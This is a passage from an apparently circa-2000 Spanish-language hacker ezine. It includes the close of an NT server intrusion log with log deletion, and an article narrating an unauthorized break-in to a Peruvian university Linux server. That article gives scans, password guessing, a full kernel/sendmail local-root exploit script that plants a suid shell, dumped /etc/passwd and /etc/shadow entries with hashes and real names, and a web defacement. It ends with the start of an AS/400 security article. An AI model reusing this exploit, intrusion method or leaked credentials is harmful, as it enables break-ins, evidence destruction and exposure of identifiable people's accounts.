99-04-27 15:56 <DIR> .
99-04-27 15:56 <DIR> ..
97-11-17 23:00 157 696 ICATALOG.MDB
3 archivos 157 696 bytes
661 595 136 bytes libres
---------------------8<------------------------------------------------------
Esta BD me la baje pero estaba vacia :((
---------------------8<------------------------------------------------------
Directorio de c:\WINNT\profiles
99-08-24 10:19 <DIR> .
99-08-24 10:19 <DIR> ..
99-09-13 08:28 <DIR> Administrator
99-04-28 13:22 <DIR> All Users
99-04-27 11:26 <DIR> Default User
99-08-24 10:19 <DIR> PerH
99-04-27 16:02 <DIR> SMIAdmin
7 archivos 0 bytes
661 648 384 bytes libres
Directorio de c:\WINNT\repair
99-04-27 11:26 <DIR> .
99-04-27 11:26 <DIR> ..
96-10-14 02:38 438 autoexec.nt
99-04-28 13:26 2 510 config.nt
99-04-27 11:26 16 752 default._
99-04-27 11:26 14 614 ntuser.da_
99-04-27 11:26 2 889 sam._
99-04-27 11:26 2 895 security._
99-04-27 15:53 50 015 setup.log
99-04-27 11:26 121 160 software._
99-04-27 11:26 70 669 system._
11 archivos 281 942 bytes
661 648 384 bytes libres
---------------------8<------------------------------------------------------
Estos files no tenian permiso de lectura por lo que no pude bajarlos ... una
pena ..
---------------------8<------------------------------------------------------
Directorio de d:\
99-04-27 12:06 <DIR> I386
99-09-13 08:33 <DIR> Inetpub
00-02-09 11:14 <DIR> MI
99-11-18 11:33 <DIR> Mssql
00-01-19 10:51 279 969 792 pagefile.sys
99-05-03 16:22 <DIR> Program Files
00-02-12 01:04 <DIR> SpeedlineDB
00-02-10 17:27 <DIR> Temp
8 archivos 279 969 792 bytes
23 449 600 bytes libres
Directorio de d:\inetpub
99-09-13 08:33 <DIR> .
99-09-13 08:33 <DIR> ..
99-09-03 07:28 248 adresser till LQ formulr.txt
99-05-03 16:23 <DIR> ftproot
99-05-03 16:22 <DIR> iissamples
99-09-02 09:08 13 ipnr.txt
99-05-03 16:22 <DIR> Mail
99-05-03 16:24 <DIR> Mailroot
99-11-02 15:33 <DIR> scripts
00-02-12 21:01 <DIR> wwwroot
10 archivos 261 bytes
23 449 600 bytes libres
---------------------8<------------------------------------------------------
Vaya!! encontre donde esta el servidor web :) ahora podre copiar lo que me
interese a d:\inetpub\wwwroot y bajarmelo tranquilamente desde mi navegador.
---------------------8<------------------------------------------------------
Directorio de d:\inetpub\mailroot
99-05-03 16:24 <DIR> .
99-05-03 16:24 <DIR> ..
99-05-03 16:24 <DIR> Badmail
99-05-03 16:24 <DIR> Drop
99-05-03 16:24 <DIR> Mailbox
99-05-03 16:24 <DIR> Pickup
99-05-03 16:24 <DIR> Queue
99-05-03 16:24 <DIR> Route
99-05-03 16:24 <DIR> SortTemp
9 archivos 0 bytes
23 449 600 bytes libres
---------------------8<------------------------------------------------------
Todos estos directorios estaban vacios ... se ve que lo instalaron pero no lo
han usado. Y lo mismo pasa con el directorio Mail y el ftproot.
---------------------8<------------------------------------------------------
Directorio de c:\winnt\system32\config
99-04-28 13:22 <DIR> .
99-04-28 13:22 <DIR> ..
00-01-18 02:00 524 288 AppEvent.Evt
00-02-08 23:33 81 920 default
00-02-08 23:33 1 024 default.LOG
99-04-28 13:20 65 536 default.sav
00-02-12 20:46 24 576 SAM
00-02-12 20:46 1 024 SAM.LOG
99-04-27 11:54 65 536 SecEvent.Evt
00-02-08 19:22 49 152 SECURITY
00-02-08 19:22 1 024 SECURITY.LOG
00-02-11 13:45 3 850 240 software
00-02-11 13:45 1 024 software.LOG
99-04-28 13:20 323 584 software.sav
99-12-31 12:00 65 536 SysEvent.Evt
00-02-02 16:23 1 429 504 system
00-02-02 16:23 1 429 504 SYSTEM.ALT
99-04-28 13:20 1 024 system.LOG
99-04-28 13:20 192 512 system.sav
96-10-14 02:38 77 824 userdiff
20 archivos 8 184 832 bytes
661 648 384 bytes libres
Directorio de c:\program files
99-09-28 12:49 <DIR> .
99-09-28 12:49 <DIR> ..
99-05-17 08:15 <DIR> Acrobat Reader
99-05-17 08:16 <DIR> CD-Writer Plus
99-04-27 15:56 <DIR> Common Files
99-09-03 13:49 <DIR> McAfee
99-05-03 16:23 <DIR> Microsoft Script Debugger
99-05-03 16:21 <DIR> Mts
99-04-27 11:25 <DIR> Plus!
99-09-28 12:49 <DIR> Sybase
00-01-10 15:33 <DIR> websvar
99-04-27 15:54 <DIR> Windows NT
99-09-07 09:11 <DIR> WinZip
13 archivos 0 bytes
661 648 384 bytes libres
Directorio de c:\winnt\system32\logfiles
99-09-07 15:17 <DIR> .
99-09-07 15:17 <DIR> ..
99-06-22 11:38 <DIR> MSFTPSVC1
99-05-16 14:29 <DIR> SMTPSVC1
99-09-09 07:08 <DIR> W3SVC1
99-09-07 15:17 <DIR> W3SVC2
6 archivos 0 bytes
661 647 872 bytes libres
Directorio de c:\winnt\system32\logfiles\msftpsvc1
00-02-12 21:39 <DIR> .
00-02-12 21:39 <DIR> ..
00-02-07 02:32 460 ex000205.log
00-02-10 03:07 232 ex000207.log
00-02-12 21:39 232 ex000210.log
00-02-12 21:39 65 536 ex000212.log
99-07-19 16:52 191 ex990622.log
99-08-14 01:16 65 536 ex990814.log
99-10-18 09:52 65 536 ex991018.log
99-11-03 11:23 187 ex991023.log
10 archivos 197 910 bytes
661 647 872 bytes libres
---------------------8<------------------------------------------------------
Ups ... aqui deben estar todos esos accesos que he realizado al sistema ...
no me gusta hacer esto pero ... creo que los borrare :)
Bien, creo que ya me he divertido bastante. Borro el cmd.exe del server y me
desconecto.
Como veis, sin necesidad de usar ningun tipo de programa (el NAT lo use pero
no me sirvio para entrar dado que el server no requeria contrase~a alguna; y
el escaneador de puertos tampoco era necesario para chequear los puertos FTP y
WEB) pude entrar e incluso podia haber modificado su pagina web o hacerles
cualquier cosa (como subir un sniffer, un keylogger, o incluso borrarles el
disco duro) ya que tenia control absoluto de la maquina ... suerte que ese
no es mi estilo y en su lugar envie un mail al admin advirtiendole de sus
enormes fallos de seguridad.
Esto demuestra que los servidores NT son muy vulnerables. Si te arriesgas a
usar NT para administrar tus maquinas asegurate de poner buenos pass, estar
al dia en cuanto a los fallos de seguridad, actualizar los Service Pack (este
server tenia solo hasta el 3) y sobre todo no olvides poner un buen firewall.
Agradecimientos
^^^^^^^^^^^^^^^
A DustyGirl naturalmente ya que el hack fue realizado por ambos y como no a
mi amigo y compa~ero de Team, ^Shadown^ por su gran apoyo en mi adentramiento
en el mundo de Bill Gates :)
+------+-------------------------------------------+----------+--------------+
| +-->| Un Root mas... que importa! |<---------| ReYDeS |
+->|<--> r17_08 <-+-----------+-----+--------->+--------------+----------->|-+
+--------------------------------------------------------------------------
[ReYDeS@127.0.0.1]$ cat indice.tmp
|
<---+--+
1. Pre-historia
2. Historia
2.1 Recabando Informacion
2.2 Ingresando
2.3 Tratando
2.4 El fallo
2.4.1 Discusion
2.4.2 Exploit
2.4.3 Solucion
2.4.4 Creditos
2.5 Lo alcanzable
3. Post-historia
4. El presente
<---+--+
|
El presente escrito narra la triste historia de un peque~o ni~o; que
no tuvo mejor cosa que hacer un dia; que ingresar a un servidor con el solo
proposito de probarse a si mismo que podia hacerlo. Patetico!... pues ese
ni~o, era yo! :D
| <------------------+
| 1) Pre-historia: |
+-------------------> |
Nada que ver con australopitecus australianus, ni ningun otro
antepasado nuestro.
Un dia cuya fecha no recuerdo; al ingresar a mi centro de estudios
superiores, me topo con un anuncio que publicitaba un simposium o conferencia
sobre algo relacionado a matematicas y computadores. Lo que siempre me llama
la atencion de estos carteles es cuando colocan su e-mail o url; cuando son
propios claro; nada de hot-latin-mix, y demas mails.
| <------------------+
| 2) Historia: |
+-------------------> |
Estando en el lugar acostumbrado desde el cual se han perpetrado
acciones nada sacras, recorde dicho anuncio. Asi es que despues de estar
durante un buen rato Web-Eando en la red. Decidi tomarme un break y hacer
algo, (adivinen que?).
Recorde la direccion de correo que habia visto en el cartel, era
conocida para mi; asi es que haciendo a un lado la arroba y mis malas
intenciones, decidi (notaron que dije decidi?), decidi; ingresar a dicho
servidor por puro amor propio (que falto de amor estoy!).
Revoloteaba en mi mente la idea de cambiarle la web page en la cual
publicitaban dicha conferencia y colocar alli algo inusual, como "Salven a las
ballenas Azules!" o "Salven a las mujeres virgenes!". Que forma de j*der la
vida de los demas, verdad?. :)
2.1) Recabando informacion:
Visito su Pagina Web; me topo con una simple page con frames, nada
espectacular como con flash. Visito algunos enlaces interesantes, como el de
los usuarios, la mayoria son de profesores y casi todos tienen e-mail; sigo
recorriendo, nada de cgi's, ni nada de eso.
Finger!...
(un finger externo; solo)
Hmmm!... porque sera que siempre que hago estas cosas, no hay nadie
visiblemente logeado?. Suerte?. :O
Le voy a pasar algunas tools para examinar este server; empiezo con el
Whisker. Que me decis?, que no saben lo que es el whisker? pues siento deciros
que yo tampoco :P.
- whisker / v1.2.0 / rain.forest.puppy / ADM / wiretrip --
- Using IDS spoofing...= - = - = - = - = - =
= Host: www.htam.urtinu.edu.pe (virtual host)= Netcraft OS: Linux
= Netcraft OS: Linux= Server: Apache/1.3.9 (Unix) (Red Hat/Linux)
Content-type: text/html
Deduzco entonces, que es un Linux 6.1. Que como lo se?; pues, esto se
sabe consultando con una pitonisa o examinado su proceso de LogIn, el cual
muestra esa info aparentemente inofensiva. Un punto menos para Uds. :)
Agregar para los despitados, que el whisker posibilita el escaneo de
vulnerabilidades conocidas; a mi no me saco ninguna.
Seguimos recabando info. Es el turno ahora de ver los puertos que
tiene activo este server; les presento al Se~or nmap, seguro que ya lo
conocereis.
Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ )
Machine 161.13*.***.*** MIGHT actually be listening on probe port 80
Host htam.urtinu.edu.pe (161.13*.***.***) appears to be up ... good.
Initiating TCP connect() scan against htam.urtinu.edu.pe (161.13*.***.***)
Adding TCP port 1517 (state open).
Adding TCP port 143 (state open).
Adding TCP port 1510 (state open).
Adding TCP port 1519 (state open).
Adding TCP port 23 (state open).
Adding TCP port 1521 (state open).
Adding TCP port 79 (state open).
Adding TCP port 514 (state open).
Adding TCP port 111 (state open).
Adding TCP port 1508 (state open).
Adding TCP port 515 (state open).
Adding TCP port 6000 (state open).
Adding TCP port 110 (state open).
Adding TCP port 109 (state open).
Adding TCP port 1516 (state open).
Adding TCP port 513 (state open).
Adding TCP port 1520 (state open).
Adding TCP port 21 (state open).
Adding TCP port 25 (state open).
Adding TCP port 98 (state open).
Adding TCP port 113 (state open).
Adding TCP port 80 (state open).
Adding TCP port 1518 (state open).
The TCP connect scan took 84 seconds to scan 1523 ports.
Interesting ports on htam.urtinu.edu.pe (161.13*.***.***):
(The 1500 ports scanned but not shown below are in state: closed)
Port State Service
21/tcp open ftp
23/tcp open telnet
25/tcp open smtp
79/tcp open finger
80/tcp open http
98/tcp open linuxconf
109/tcp open pop-2
110/tcp open pop-3
111/tcp open sunrpc
113/tcp open auth
143/tcp open imap2
513/tcp open login
514/tcp open shell
515/tcp open printer
1508/tcp open diagmond
1510/tcp open mvx-lm
1516/tcp open vpad
1517/tcp open vpac
1518/tcp open vpvd
1519/tcp open vpvc
1520/tcp open atm-zip-office
1521/tcp open ncube-lm
6000/tcp open X11
Nmap run completed -- 1 IP address (1 host up) scanned in 91 seconds
Opps!... Aqui hay mas puertos abiertos que en todas las playas del
Peru!. Miren!... por alli esta el Callao! :)
A primera vista, puedo inferir que no les interesa un pepino su
seguridad; je!... que colera verdad?... :D. Que creen acaso?, que con instalar
la version mas reciente, es suficiente?. Se merecen todo lo que les ocurra.
Es casi un protocolo hacer todo lo anterior, pues por alli te puedes
ahorrar mucho tiempo si encuentras una vulnerabilidad conocida, mediante una
tool que haga esto por ti. A esto le llamo; "Hack a la carta", que mas se
puede pedir?... Si, tal vez un programa que haga todo el proceso y de el
prompt del root... :DDD. Macabro!.
2.2) Ingresando:
Despues de todo lo anterior, pues es hora de que aparezca la mujer
barbuda :), es momento de ingresar; pero... Como diantres ingreso?. Alli
esta el detalle.
Podria buscarme por alli un exploit que me permita el ingreso y tal
vez un root remoto. Pero porque complicarse las cosas?. Es mejor empezar por
lo mas facil; y lo mas facil es...?. Exacto; Login=Password!... Tipico, un
clasico del hack, tan clasico como una melodia de Beethoven.
De donde saco los logins?, del finger?... puede ser; pero prefiero
algo mas visual :P. Me acorde de que en su Web hay listados algunos
e-mails. Pues bien, esa en apariencia, inofensiva informacion, sera su talon
de aquiles.
Trying 161.1**.***.***...
Connected to htam.urtinu.edu.pe.
Escape character is '^]'.
Red Hat Linux release 6.1 (Cartman)
Kernel 2.2.12-20 on an i686
login: ReYDeS
Password: ******
Last login: Sat Jul 15 09:19:42 from localhost
[ReYDeS@htam]$
Resulta innecesario aclarar que el login es ficticio :P, y que el
ingreso no se produjo en el primer intento; y de que tuve mucha suerte, pues
si!... Claro, que no hubiese hecho esto manualmente si fuesen 2500 cuentas,
ademas, el tremendo log que dejo!, eso si no impiden el logeo a mi IP. Pero no
creo que tengan esas politicas de seguridad. Ellos estan el otra, estan
tratando de hallar "la cuadratura del circulo". :D
Y ahora me pregunto. Para que diantres me puse a hacer todo lo
anterior, pudiendo ingresar de la forma mas estupida?... :-O
Pero nunca esa informacion esta de mas, me hubiese tenido que tragar
lo dicho, si no me hubiese funcionado lo anterior y tener que liarme con
demonios, versiones vulnerables, y puertos abiertos. Ademas, siempre lo mas
facil es ingresar al servidor, el reto empieza cuando se desea alcanzar "lo
prohibido"; sin ser atrapado en el intento, claro.
2.3) Tratando:
Entonces... ya estoy comodamente instalado en su server, pues bien; lo
que quiero hacer el pillar el root y cambiarle la web, verdad?... Que horror!
como es que puedo estar haciendo esto?, y pensar que me habia retirado, jeje!
esto se consideraria un crack!, pero no os voy a hacer filosofar ahora.
[ReYDeS@htam]$ finger
9:02am up 1 day, 22:34, 1 user, load average: 0.08, 0.02, 0.01
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
ReYDeS pts/0 localhost 9:02am 0.00s 0.11s 0.01s no_se!
Me pregunto. Que estara haciendo este server?... veamos...
[ReYDeS@htam]$ ps ax
PID TTY STAT TIME COMMAND
1 ? S 0:04 init [3]
2 ? SW 0:07 [kflushd]
3 ? SW 0:02 [kupdate]
4 ? SW 0:00 [kpiod]
5 ? SW 0:05 [kswapd]
6 ? SW< 0:00 [mdrecoveryd]
300 ? S 0:00 portmap
316 ? SW 0:00 [apmd]
369 ? S 0:02 syslogd -m 0
380 ? S 0:00 klogd
396 ? S 0:00 /usr/sbin/atd
412 ? S 0:00 crond
432 ? S 0:00 inetd
448 ? SW 0:00 [lpd]
477 ? S 0:00 sendmail: accepting connections on port 25
494 ttyS0 S 0:00 gpm -t ms
510 ? S 0:00 httpd
535 ? S 0:01 xfs -droppriv -daemon -port -1
575 tty2 SW 0:00 [mingetty]
576 tty3 SW 0:00 [mingetty]
578 tty5 SW 0:00 [mingetty]
579 tty6 SW 0:00 [mingetty]
4820 tty1 S 0:00 /sbin/mingetty tty1
5756 tty4 S 0:00 /sbin/mingetty tty4
6376 ? S 0:00 httpd
6377 ? S 0:00 httpd
6378 ? S 0:00 httpd
6379 ? S 0:00 httpd
6380 ? S 0:00 httpd
6381 ? S 0:00 httpd
6382 ? S 0:00 httpd
6383 ? S 0:00 httpd
6998 ? S 0:00 in.telnetd
6999 pts/0 S 0:00 login -- unknow
7001 pts/0 S 0:00 -bash
7034 pts/0 T 0:00 unknow
7062 pts/0 R 0:00 ps ax
Excepto por un par de procesos; pareciera que estoy en mi 8086. Asi
es que me siento como en casa.
Es momento de ascender mis privilegios.. como?. Se me ocurre revisar
las versiones, por ejemplo el ftp, sendmail, bind... hmmm!!!, no se. :P.
Mientras reviso; paralelamente doy una visita a bugtraq y packetstorm; hallo
cosas verdaderamente interesantes... Parece ser que un 90% tuviese algun tipo
de vulnerabilidad debidamente documentada. Me llama la atencion una
combinacion de kernel con sendmail, que permite conseguir un root local.
Reviso mi kernel... (notaron que dije MI kernel?, mucha confianza!.)
[ReYDeS@htam]$
[ReYDeS@htam]$ uname -a
Linux htam 2.2.12-20 #1 Mon Sep 27 10:40:35 EDT 1999 i686 unknown
Uh!!!... la primera parte esta bien, version 2.2.12-20. Ahora deseo
ver la version del sendmail...
[ReYDeS@htam]$ telnet localhost 25
Trying 161.132.*.*...
Connected to htam.urtinu.edu.pe.
Escape character is '^]'.
220 localhost.localdomain ESMTP Sendmail 8.9.3/8.9.3; Wed, 20 Ago 2002
16:17:38 -0500
Caspita!!!... version 8.9.3/8.9.3!!!!, extra-ordinario!... se nota mi
emocion??? :D, en teoria seria posible mediante este fallo alcanzar root; pues
los requisitos para explotarlo se cumplen. Premisa verdadera.
2.4) El Fallo:
Es bueno un poco de cultura al respecto. Y no ir por alli ejecutandose
un exploit, sin tomarse la molestia de averiguar de que se trata este rollo.
Que me dice bugtraq al respecto?...
2.4.1) Discusion: (No me gusta discutir)
POSIX "Capabilities" han sido recientemente implementados en el Kernel del
Linux. "Capabilities" son una forma adicional de control de privilegios para
permitir un control mas especifico sobre lo que los procesos privilegiados
puedan hacer. Capabilities estan implementados en 3 campos de bits, cada bit
representa una accion especifica que un proceso privilegiado puede realizar.
Seteando bits especificos, la accion de procesos privilegiados puede ser
controlado.
Esto es una medida de seguridad. El problema es que "capabilities" son
copiados con ejecuciones fork(), significando que si "capabilities" son
modificados por un proceso padre, ello puede ser sobre acarreado. La forma en
que esto puede ser explotado es seteando todos los "capabilities" a cero
(todos los bits a off) en cada uno de los 3 campos de bit y entonces ejecutar
un programa setuid que intente dejar privilegios antes de ejecutar codigo que
puede ser peligroso si corre como root, como es que el sendmail lo hace.
Cuando el sendmail intenta dejar priviliegios usando setuid(getuid()), este
falla no teniendo las "capabilities" requeridas para hacerlo en los campos de
bits. Este continua ejecutandose con privilegios de superusuario, y puede
correr un archivo .forward de un usuario como root, conllevando a un
compromiso completo. Procmail puede ser explotado de esta manera.
2.4.2) Exploit: ]:)
A continuacion el exploit. Aunque muchos de vosotros, creo que ya
debeis de haberle dado un vistaso; bueno, para los que ni se enteraron. Aqui
esta.
<++> ker-send.sh
#!/bin/sh
echo "+-----------------------------------------------------------+"
echo "| Linux kernel 2.2.X (X<=15) & sendmail <= 8.10.1 |"
echo "| local root exploit |"
echo "| |"
echo "| Bugs found and exploit written by Wojciech Purczynski |"
echo "| wp@elzabsoft.pl cliph/ircnet Vooyec/dalnet |"
echo "+-----------------------------------------------------------+"
TMPDIR=/tmp/foo
SUIDSHELL=/tmp/sush
SHELL=/bin/tcsh
umask 022
echo "Creating temporary directory"
mkdir -p $TMPDIR
cd $TMPDIR
echo "Creating anti-noexec library (capdrop.c)"
cat <<_FOE_ > capdrop.c
#define __KERNEL__
#include <linux/capability.h>
#undef __KERNEL__
#include <linux/unistd.h>
_syscall2(int, capset, cap_user_header_t, header, const cap_user_data_t, data)
extern int capset(cap_user_header_t header, cap_user_data_t data);
void unsetenv(const char*);
void _init(void) {
struct __user_cap_header_struct caph={_LINUX_CAPABILITY_VERSION, 0};
struct __user_cap_data_struct capd={0, 0, 0xfffffe7f};
unsetenv("LD_PRELOAD");
capset(&caph, &capd);
system("echo|/usr/sbin/sendmail -C$TMPDIR/sm.cf $USER");
}
_FOE_
echo "Compiling anti-noexec library (capdrop.so)"
cc capdrop.c -c -o capdrop.o
ld -shared capdrop.o -o capdrop.so
echo "Creating suid shell (sush.c)"
cat <<_FOE_ > sush.c
#include <unistd.h>
int main() { setuid(0); setgid(0); execl("/bin/sh", "sh", NULL); }
_FOE_
echo "Compiling suid shell (sush.c)"
cc sush.c -o $TMPDIR/sush
echo "Creating shell script"
cat <<_FOE_ >script
mv $TMPDIR/sush $SUIDSHELL
chown root.root $SUIDSHELL
chmod 4111 $SUIDSHELL
exit 0
_FOE_
echo "Creating own sm.cf"
cat <<_FOE_ >$TMPDIR/sm.cf
O QueueDirectory=$TMPDIR
O ForwardPath=/no_forward_file
S0
R\$* \$#local \$: \$1
Mlocal, P=$SHELL, F=lsDFMAw5:/|@qSPfhn9, S=EnvFromL/HdrFromL, R=EnvToL/HdrToL,
T=DNS/RFC822/X-Unix, A=$SHELL $TMPDIR/script
_FOE_
echo "Dropping CAP_SETUID and calling sendmail"
export LD_PRELOAD=$TMPDIR/capdrop.so
/bin/true
unset LD_PRELOAD
echo "Waiting for suid shell ($SUIDSHELL)"
while [ ! -f $SUIDSHELL ]; do sleep 1; done
echo "Removing everything"
cd ..
rm -fr $TMPDIR
echo "Suid shell at $SUIDSHELL"
$SUIDSHELL
<-->
2.4.3) Solucion:
Aconsejaba en aquel entonces bugtraq, la pronta actualizacion a una
version superior al kernel 2.2.16pre6 con el patch correspondiente. De igual
manera, las diferentes distribuidores de Linux publicarion advisories y patchs
en sus respectivos sites.
2.4.4) Creditos:
Es obvio que no a mi! :D; yo solo comprobe este exploit para fines
puramente educativos :) (que mentira!) :D
Discovered by Wojciech Purczynski <wp@elzabsoft.pl>.
2.5) Lo Alcanzable:
Luego de habernos documentado fervientemente al respecto, y saber cual
es el tema de esta cancion, solo resta probar dicho exploit y cruzar los dedos
del pie esperando un comodo shell con privilegios de root.
[ReYDeS@htam]$ ./sush ; echo "jeje!"
[ReYDeS@htam]# jeje!
Notaron el cambio?... '$' por '#'... Interesante verdad?. :)
[ReYDeS@htam]$ whoami
root
Habiendo obtenido los maximos privilegios posibles, lo que pueda
realizar con este servidor solamente sera limitado por mi moral... cual???.
Mi intencion es la cambiarle la web; pero antes de ello, no resisto la
tentacion de visualizar el 'passwd'. He aqui un recorte, para no aburriros.
[ReYDeS@htam]# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:
operator:x:11:0:operator:/root:
games:x:12:100:games:/usr/games:
gopher:x:13:30:gopher:/usr/lib/gopher-data:
ftp:x:14:50:FTP User:/home/ftp:
nobody:x:99:99:Nobody:/:
xfs:x:100:101:X Font Server:/etc/X11/fs:/bin/false
postgres:x:40:233:PostgreSQL Server:/var/lib/pgsql:/bin/bash
elmer:x:500:0:Elmer Guarniz Guarniz:/home/elmer:/bin/bash
soporte:x:501:0:Soporte del Servidor Math:/home/soporte:/bin/bash
rprada:x:503:0:Robert Prada Marchena (Soporte):/home/rprada:/bin/bash
jsanchez:x:504:0:Armando Sanchez Ll. Rosales:/home/jsanchez:/bin/bash
orlando:x:505:10:Orlando M. Hernandez Bracamonte:/home/orlando:/bin/bash
jperal:x:506:0:Julio Cesar Peralta C.:/home/jperal:/bin/bash
... etc, etc...
Seguimos con el file 'shadow':
[ReYDeS@htam]# cat /etc/shadow
root:$1$gLRC2Xxt$Ra6iee0ep3RaoV.9HQm4K0:11066:0:99999:7:-1:-1:134549460
bin:*:11061:0:99999:7:::
daemon:*:11061:0:99999:7:::
adm:*:11061:0:99999:7:::
sync:*:11061:0:99999:7:::
shutdown:*:11061:0:99999:7:::
halt:*:11061:0:99999:7:::
mail:*:11061:0:99999:7:::
news:*:11061:0:99999:7:::
uucp:*:11061:0:99999:7:::
operator:*:11061:0:99999:7:::
games:*:11061:0:99999:7:::
gopher:*:11061:0:99999:7:::
ftp:*:11061:0:99999:7:::
nobody:*:11061:0:99999:7:::
xfs:!!:11061:0:99999:7:::
postgres:!!:11061:0:99999:7:::
elmer:$1$bKWZjl8W$K3et6Yde42c61tS34yA19/:11062::99999::::135538028
soporte:$1$5r7pAOGi$aKJ3a0WgUJOVmcrCKXMPe1:11127:-1:99999:-1:-1:-1:134550572
rprada:$1$VEHyS1Fd$c.6lHxGyxrtfpKH98CLht0:11062:-1:99999:-1:-1:-1:135526316
jsanchez:$1$kEOhAX9K$DPdAdzRxBvXDEmXgkPHlr/:11062:-1:99999:-1:-1:-1:135535564
orlando:$1$Zsa0V0eh$P9E8ybN2qKt1Wpgc0VOyc/:11062::99999::::135528828
jperal:$1$b3gqV6mO$Y8Wh6qg1E3rz08MRUkpH..:11127:-1:99999:-1:-1:-1:134550572
... y etc, etc...
Hay muchisimas mas cuentas, pero para que desperdiciar espacio en este
escrito?. Ahora sin ningun desparpajo ni limitaciones voy a navegar por los
diferentes directorios y revisar algunos archivos. Luego de un momento llego a
este directorio:
[ReYDeS@htam]#
[ReYDeS@htam]# ls -al htt*
total 12
drwxr-xr-x 2 root root 4096 Dec 17 1999 cgi-bin
drwxr-xr-x 6 root root 4096 Jul 14 13:05 html
drwxr-xr-x 3 root root 4096 Apr 14 11:01 icons
[ReYDeS@htam]# cd http/html
[ReYDeS@htam]# ls
BACK.jpg cursosold.html greenball.gif mains.html
Fundo14.jpg dpto.html hotele.html manual
Peru1.gif esc-unt.gif hotels.html mathlinks.html
SPMAC escudo.jpg index.html op-esp.html
adm.html escuela.html lista.html op-ing.html
bienvenida.html eventos logopan1.GIF original
construction.gif eventos.html maestria.html post_mat.html
curso-op.html ficha.doc maestriaold.html rockfon.jpg
cursos.html flag_uk.gif maine.html
Ahora un backup, antes de j*oderla. Mas vale prevenir que lamentar :)
[ReYDeS@htam]# cp index.html index.cp
[ReYDeS@htam]# emacs index.html
Luego; entre <html> y < /html> coloco un texto; fruto de la
inspiracion instantanea e iluminacion acustica ambiental... :-? ( tengo que
dejar los estimulantes neuronales, antes de escribir estos textos :D ). El
texto?, lo siguiente; favor abstenerse de insultos.
<BLOCKQUOTE>
<P ALIGN="justify">
Esta pagina ha sido modificada, para manifestar de una manera visual,
la falta de SEGURIDAD en el servidor HTAM.*****.EDU.PE. El fallo que
se ha explotado para alcanzar los maximos privilegios o el comunmente
denominado "ROOT", sera reportado en su debido momento. Para un conocedor
de lo esencial en seguridad sera facil dar con el fallo.
</BLOCKAUOTE>
<BLOCKQUOTE>
<P ALIGN="justify">
Ningun acto "da~ino" ha sido perpetrado contra este servidor, los archivos
manipulados han sido copiados, antes de ser modificados. Ningun archivo
ha sido borrado, ni la privacidad de los correos personales ha sido
violado; de igual forma ningun password ha sido cambiado.
</BLOCKQUOTE>
<BR><BR><BR>
<BLOCKQUOTE>
<P ALGIN="justify">
Pagina modificada el 15 de Julio del a~o 2000.
</BLOCKQUOTE>
<BR><BR>
<P ALGIN="center">
Cualquier contrato; a mi e-mail: ReYDeS@******.***
Ni yo creo lo que escribi en ese momento!... Pero ahora que lo medito
con mas calma: Que estupido!!!; es bueno reconocer lo errores, y sin son
propios, mejor aun :D. Ahora he cambiado de controladores para mi dispositivo
neuronal :-P
Modificada!... se podria decir mision cumplida?, pues para una
situacion producto del momento, ha sido interesante.
| <------------------+
| 3) Post Historia: |
+-------------------> |
Solo resta deciros lo que ocurrio despues, a modo de outro de este
escrito. Esta intromision ocupa la pagina de informatica de un diario de mi
ciudad, en el cual se informaba de una manera neutral, sin exageraciones ni
sensacionalismo, lo acaecido al respecto.
Debo decir que se pusieron en contacto con este servidor (yo), antes
de que esto saliese publicado en su diario. Cuando lei la noticia, hubo una
mezcla de culpa y alegria pues pareciera ser que fue el primer hecho,
documentado sobre un acto de este tipo.
Luego de esta 'travesura', me tranquilize y prometi no volver a tocar
este server; seria como volver con la misma novia, despues de haber terminado.
Aunque pensAndolo bien!... :).
Es mejor que deje de hacer estas cosas de imprevisto; asi es que voy
a estudiar. Por alli habia otro servidor que estaba en mi campo visual, y es
el que esta en la jerarquia superior a este. Pero lastimosamente dicho
servidor esta en fase de transicion, ya que ahora trabajara bajo una coneccion
de; adivinen quien?...
| <------------------+
| 4) El presente: |
+-------------------> |
Espero que hayais pasado un momento instructivo y entretenido leyendo
este escrito; ya se que para los gurus, esto les importara un ribosoma, pero a
modo entretener y educar; cosa dificil en esta epoca; se que he aportado a
la sinapsis de vuestras neuronas.
Deciros ademas que; acciones como las que narro en mis escritos para
esta edicion de RareGaZz; ocurren a cada momento en cualquier parte del mundo.
Por lo percibido en mi entorno mas cercano; os puedo decir con mucha
'seguridad'; que la mayoria de los servidores con los cuales he tenido alguna
relacion, tiene alguna vulnerabilidad conocida. Pero aun asi, no toman en
serio su seguridad, sino hasta que ocurren situaciones como las aqui narradas
o mucho peores.
Un consejo hasta de un cangrejo. Piensen bien las cosas antes de
hacerlas; el hecho de que yo no lo haga, no es excusa!. :D Tengan cuidado alli
afuera. Internet es una jungla.
Y con esta nos vamos...
" Si al ver lo que eras hace algun tiempo, te sientes estupido;
estupido, es se~al de que has mejorado!. "
y.o
Yo me despido hasta otra proxima oportunidad.
(c) ReYDeS, un mes del a~o 2000, en alguna ciudad del Peru.
ReYDeS@fnmail.com - RareGaZz Team.
+------+-------------------------------------------+----------+--------------+
| +-->| AS/400 de IBM |<---------| GuyBrush |
+->|<--> r17_09 <-+-----------+-----+--------->+--------------+----------->|-+
+--------------------------------------------------------------------------
___________________
// // \\ \\
<<-<< AS/400 de IBM >>->>
\\ \\ // //
===================
1. A quien va dirigido este articulo
2. Un poco de culturilla
3. Encendido y apagado de la maquina
4. Configuracion basica para la seguridad del 400
5. Puertas traseras
6. Despedida
1. A quien va dirigido este articulo
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
No pretendo dar un cursillo de AS/400 porque no tengo ni tiempo ni ganas
para ello. Simplemente explicare algunas cosas basicas de este tipo de
sistemas y hablare un poco sobre su seguridad. Por tanto, estas letras van
dirigidas principalmente a usuarios de AS/400.
2. Un poco de culturilla
~~~~~~~~~~~~~~~~~~~~~
No quiero extenderme mucho en este tema porque considero que este es un
ezine de hacking y creo que la gente que lea este articulo ya conocera un
poco el funcionamiento de esta maquina. Pero me veo obligado a explicar
